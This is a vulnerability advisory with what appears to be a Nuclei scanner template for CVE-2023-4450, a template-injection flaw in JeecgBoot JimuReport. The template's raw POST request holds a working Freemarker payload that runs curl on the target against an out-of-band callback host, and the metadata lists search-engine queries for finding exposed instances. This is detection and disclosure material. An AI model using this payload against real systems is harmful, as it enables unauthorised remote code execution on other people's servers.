A vulnerability was found in jeecgboot JimuReport up to 1.6.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the component Template Handler. The manipulation leads to injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.
PoC代码[已公开]
id: CVE-2023-4450
info:
name: JeecgBoot JimuReport - Template injection
author: Sumanth Vankineni
severity: critical
description: |
A vulnerability was found in jeecgboot JimuReport up to 1.6.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the component Template Handler. The manipulation leads to injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.
impact: |
Unauthorized api called /jmreport/queryFieldBySql led to remote arbitrary code execution due to parsing SQL statements using Freemarker.
remediation: |
Upgrading to version 1.6.1 is able to address this issue. It is recommended to upgrade the affected component.
reference:
- https://github.com/advisories/GHSA-j8h5-8rrr-m6j9
- https://whoopsunix.com/docs/java/named%20module/
- https://nvd.nist.gov/vuln/detail/CVE-2023-4450
classification:
epss-score: 0.90861
epss-percentile: 0.99614
metadata:
verified: true
max-request: 1
vendor: jeecg
product: jeecg
shodan-query:
- title:"Jeecg-Boot"
- http.title:"jeecg-boot"
fofa-query:
- title="JeecgBoot 企业级低代码平台"
- title="jeecg-boot"
- title="jeecgboot 企业级低代码平台"
google-query: intitle:"jeecg-boot"
tags: cve,cve2023,rce,jeecgboot,vkev
http:
- raw:
- |
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://{{interactsh-url}}\")} ",
"type": "0"
}
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "http") || contains(interactsh_protocol, "dns")'
- 'status_code == 200'
- 'contains(content_type,"application/json")'
- 'contains(body,"success")'
condition: and
# digest: 4a0a00473045022009e7dc924e488d5e4e6bc0849e2419a15ec37ab6e7531bbecc4c1d02800c6640022100a2271421105af88e2528de4a453a986b467f7cc96bee9ffdf6f5769e0c7df3b2:922c64590222798bb761d5b6d8e72950